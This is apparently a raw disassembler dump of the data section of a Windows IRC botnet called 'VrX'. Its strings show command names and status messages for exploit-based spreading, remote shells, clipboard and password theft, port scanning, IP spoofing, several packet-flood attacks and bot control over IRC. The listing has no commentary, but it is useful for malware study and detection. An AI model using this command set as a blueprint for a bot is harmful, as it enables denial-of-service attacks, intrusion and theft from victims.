dword_42B818	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401AC7+3A48o
					; sub_401AC7+3B66o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401AC7+39F6o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401AC7+395Bo
					; sub_401AC7+399Bo ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401AC7+3904o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401AC7+3812o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401AC7+37CEo
aNick_0		db 'nick',0             ; DATA XREF: sub_401AC7+36CBo
					; sub_401AC7+3CF1o
		align 10h
dword_42B860	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401AC7+36B0o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B888	dd 636364h		; DATA XREF: sub_401AC7+3633o
dword_42B88C	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+34E2o
dword_42B898	dd 4B43494Eh, 732520h	; DATA XREF: sub_401AC7+34C7o
					; sub_401AC7+3725o ...
dword_42B8A0	dd 69257325h, 0		; DATA XREF: sub_401AC7+34AFo
					; sub_40AAA0+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401AC7+346Fo
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401AC7+3454o
					; sub_401AC7+3539o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401AC7+342Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401AC7+3412o
aPart_0		db 'part',0             ; DATA XREF: sub_401AC7+33F0o
					; sub_401AC7+3D4Do
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401AC7+33D5o
					; sub_401AC7+3510o ...
aJoin		db 'join',0             ; DATA XREF: sub_401AC7+33B3o
					; sub_401AC7+3D1Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401AC7+3398o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401AC7+334Co
					; sub_401AC7+4814o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401AC7+3331o
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401AC7+32E5o
		align 10h
dword_42B910	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401AC7+32CAo
dword_42B924	dd 7463h		; DATA XREF: sub_401AC7+327Eo
dword_42B928	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+3263o
					; sub_401AC7+3869o ...
dword_42B938	dd 5Fh			; DATA XREF: sub_401AC7+3237o
					; sub_401AC7+329Eo ...
dword_42B93C	dd 6D70h		; DATA XREF: sub_401AC7+3217o
					; sub_401AC7+47A1o
unk_42B940	db  2Dh	; -		; DATA XREF: sub_401AC7+31E7o
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401AC7+3193o
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401AC7+3172o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401AC7+315Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401AC7+3144o
aRin		db 'rin',0              ; DATA XREF: sub_401AC7+312Do
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401AC7+3116o
		align 4
unk_42B9A8	db  2Dh	; -		; DATA XREF: sub_401AC7+3109o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401AC7+3097o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401AC7+3019o
unk_42BA20	db  2Dh	; -		; DATA XREF: sub_401AC7+2FF9o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA4C	db  2Dh	; -		; DATA XREF: sub_401AC7+2FCFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401AC7+2F97o
		align 4
unk_42BA8C	db  2Dh	; -		; DATA XREF: sub_401AC7+2F3Eo
					; sub_401AC7+2FAFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401AC7:loc_4049E3o
					; sub_401AC7+3F75o
unk_42BAC8	db    3			; DATA XREF: sub_401AC7+2EAAo
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 4
unk_42BAF4	db    3			; DATA XREF: sub_401AC7+2E9Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 10h
dword_42BB20	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401AC7+2E4Ao
unk_42BB30	db    3			; DATA XREF: sub_401AC7:loc_404902o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401AC7+2E18o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBBC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401AC7+2D9Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401AC7+2D98o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401AC7+2D91o
		align 10h
unk_42BBF0	db  2Dh	; -		; DATA XREF: sub_401AC7+2D1Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BC30	db  2Dh	; -		; DATA XREF: sub_401AC7+2C96o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC5C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+2C14o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC98	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+2BA5o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCC0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401AC7+2AF2o
dword_42BCD0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401AC7+2AEDo
dword_42BCDC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401AC7+2ADAo
dword_42BCEC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401AC7+2AD5o
unk_42BCFC	db    3			; DATA XREF: sub_401AC7+2A62o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_40451Co
					; sub_401AC7:loc_409578o ...
		align 4
unk_42BD2C	db    3			; DATA XREF: sub_401AC7+2A40o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044FAo
		align 10h
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044E4o
					; sub_401AC7+78DBo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+2A0Bo
		align 4
unk_42BD7C	db    3			; DATA XREF: sub_401AC7+29BFo
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA8	db    3			; DATA XREF: sub_401AC7+2981o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 10h
unk_42BDC0	db  2Dh	; -		; DATA XREF: sub_401AC7+296Co
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDFC	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401AC7+28FDo
		dd 65726874h, 2E736461h, 0
dword_42BE1C	dd 627573h		; DATA XREF: sub_401AC7+28D7o
unk_42BE20	db    3			; DATA XREF: sub_401AC7+2885o
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE38	db  2Dh	; -		; DATA XREF: sub_401AC7+286Ao
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE70	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401AC7+27DDo
		dd 2E676Fh
unk_42BE88	db    3			; DATA XREF: sub_401AC7+2756o
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BEA0	db    3			; DATA XREF: sub_401AC7+2727o
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB8	db    3			; DATA XREF: sub_401AC7+26D2o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BED0	db  2Dh	; -		; DATA XREF: sub_401AC7+26B6o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF0C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401AC7+2641o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401AC7+2621o
		align 10h
unk_42BF30	db  2Dh	; -		; DATA XREF: sub_401AC7+25C2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 10h
unk_42BF50	db    3			; DATA XREF: sub_401AC7+2571o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF68	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403F6Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF88	db  2Dh	; -		; DATA XREF: sub_401AC7+24A0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42BFB0	db  2Dh	; -		; DATA XREF: sub_401AC7+2484o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFDC	db    3			; DATA XREF: sub_401AC7+246Eo
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF8	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401AC7+2440o
		dd 2Dh
unk_42C010	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403EF7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C03C	db  2Dh	; -		; DATA XREF: sub_401AC7+2429o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42C060	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403ECCo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C08C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403EC5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B8	db  2Dh	; -		; DATA XREF: sub_401AC7+23F7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0DC	db  2Dh	; -		; DATA XREF: sub_401AC7+23A4o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C118	db  2Dh	; -		; DATA XREF: sub_401AC7+2335o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C154	db  2Dh	; -		; DATA XREF: sub_401AC7+2252o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C190	db  2Dh	; -		; DATA XREF: sub_401AC7+21E7o
					; sub_40BD7C+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1CC	db  2Dh	; -		; DATA XREF: sub_401AC7+20E0o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C208	db  2Dh	; -		; DATA XREF: sub_401AC7+2071o
					; sub_40BD7C+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C23C	db  2Dh	; -		; DATA XREF: sub_401AC7+1FBFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C25C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403A70o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C294	db  2Dh	; -		; DATA XREF: sub_401AC7+1F5Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42C2D0	db  2Dh	; -		; DATA XREF: sub_401AC7+1EEBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401AC7+1EC0o
					; sub_401AC7+5B6Ao
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401AC7+1EB9o
					; sub_401AC7+5B63o
		align 10h
dword_42C350	dd 234032Dh, 3025A56h	; DATA XREF: sub_401AC7+1CFFo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401AC7+1CA2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C8	db  2Dh	; -		; DATA XREF: sub_401AC7+1C10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401AC7+1BE2o
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401AC7+1BD1o
		align 10h
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+1BBBo
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401AC7+1BA4o
		align 10h
off_42C440	dd offset word_587A56	; DATA XREF: sub_401AC7+1B8Fo
aAsn445		db 'asn445',0           ; DATA XREF: sub_401AC7+1B7Ao
		align 4
unk_42C44C	db    3			; DATA XREF: sub_401AC7+1B2Ao
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401AC7+1B14o
					; sub_401AC7+1B64o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401AC7+1AFFo
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401AC7+1AEAo
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401AC7+1AD5o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401AC7+1AC0o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401AC7+1AABo
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401AC7+1A96o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401AC7+1A81o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401AC7+1A6Co
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401AC7+1A57o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401AC7+1A42o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401AC7+1A2Do
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401AC7+1A18o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401AC7+1A03o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401AC7+19EEo
unk_42C4F4	db  2Dh	; -		; DATA XREF: sub_401AC7+19B0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401AC7+1995o
					; sub_401AC7+3C85o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401AC7+1981o
		align 4
unk_42C528	db    3			; DATA XREF: sub_401AC7+1961o
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401AC7+192Co
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401AC7:loc_4033E6o
dword_42C558	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401AC7+18F5o
dword_42C56C	dd 6F6877h		; DATA XREF: sub_401AC7+18D8o
dword_42C570	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+18CDo
dword_42C57C	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401AC7+18C8o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401AC7+18AFo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401AC7+189Ao
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401AC7+1885o
aDll		db 'dll',0              ; DATA XREF: sub_401AC7+1870o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401AC7+185Bo
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401AC7+1846o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401AC7+1831o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401AC7+181Co
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401AC7+1807o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401AC7+17F2o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401AC7+17DDo
		align 4
aKosomak	db 'KOSOMAK',0          ; DATA XREF: sub_401AC7+17C8o
aKosomakyad	db 'KOSOMAKYAD',0       ; DATA XREF: sub_401AC7+17B3o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401AC7+179Eo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401AC7+1789o
aNi		db 'ni',0               ; DATA XREF: sub_401AC7+1774o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401AC7+175Fo
aClg		db 'clg',0              ; DATA XREF: sub_401AC7+174Ao
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401AC7+1735o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401AC7+1720o
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401AC7+170Bo
aAl		db 'al',0               ; DATA XREF: sub_401AC7+16F6o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401AC7+16E1o
aT:					; DATA XREF: sub_401AC7+16CCo
					; ___:00438324o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401AC7+16B7o
unk_42C638	db    3			; DATA XREF: sub_401AC7+1683o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C65C	db    3			; DATA XREF: sub_401AC7+167Co
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401AC7+1665o
aI:					; DATA XREF: sub_401AC7+1650o
					; ___:004382F8o
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401AC7+163Bo
		align 4
aS_0:					; DATA XREF: sub_401AC7+1626o
					; ___:00438374o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401AC7+1611o
		align 4
aQ:					; DATA XREF: sub_401AC7+15FCo
					; ___:off_437F90o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401AC7+15E7o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401AC7+15D2o
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401AC7+15BDo
		align 10h
aR:					; DATA XREF: sub_401AC7+15A8o
					; sub_401AC7+3D92o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401AC7+1593o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401AC7+157Eo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401AC7+1569o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401AC7+1554o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401AC7+153Fo
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401AC7+152Ao
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401AC7+1515o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401AC7+1500o
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401AC7+14EBo
		align 4
dword_42C71C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401AC7+14E0o
aScan_0		db 'Scan',0             ; DATA XREF: sub_401AC7+14DBo
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401AC7+14C2o
		align 4
dword_42C73C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401AC7+14B7o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401AC7+14B2o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401AC7+1499o
		align 10h
dword_42C760	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401AC7+148Eo
aClone		db 'Clone',0            ; DATA XREF: sub_401AC7+1489o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401AC7+1470o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401AC7+145Bo
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401AC7+1446o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401AC7+1431o
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401AC7+141Co
		align 10h
dword_42C7B0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401AC7+1411o
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401AC7+13F3o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401AC7+13CAo
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401AC7+13A1o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401AC7+1378o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401AC7+134Fo
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401AC7+1335o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C82C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401AC7+12FAo
					; sub_401AC7+1396o
dword_42C83C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401AC7+12F5o
					; sub_401AC7+1391o
dword_42C84C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401AC7+12DCo
					; sub_401AC7+136Do
dword_42C85C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401AC7+12D7o
					; sub_401AC7+1368o
dword_42C86C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401AC7+127Co
					; sub_401AC7+13E8o
dword_42C878	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1277o
					; sub_401AC7+13E3o
dword_42C884	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+125Eo
					; sub_401AC7+13BFo
dword_42C890	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+1259o
					; sub_401AC7+13BAo
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401AC7+11F9o
		align 4
dword_42C8A8	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401AC7+11EEo
					; sub_401AC7+12BBo
dword_42C8B4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+11E9o
					; sub_401AC7+12B6o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401AC7+11D0o
		align 4
dword_42C8CC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401AC7+11C5o
					; sub_401AC7+129Do
dword_42C8DC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+11C0o
					; sub_401AC7+1298o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401AC7+11A7o
		align 4
dword_42C8F8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401AC7+119Co
					; sub_401AC7+131Bo
dword_42C908	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+1197o
					; sub_401AC7+1316o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401AC7+117Eo
		align 4
dword_42C924	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+1173o
					; sub_401AC7+123Do
dword_42C930	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+116Eo
					; sub_401AC7+1238o
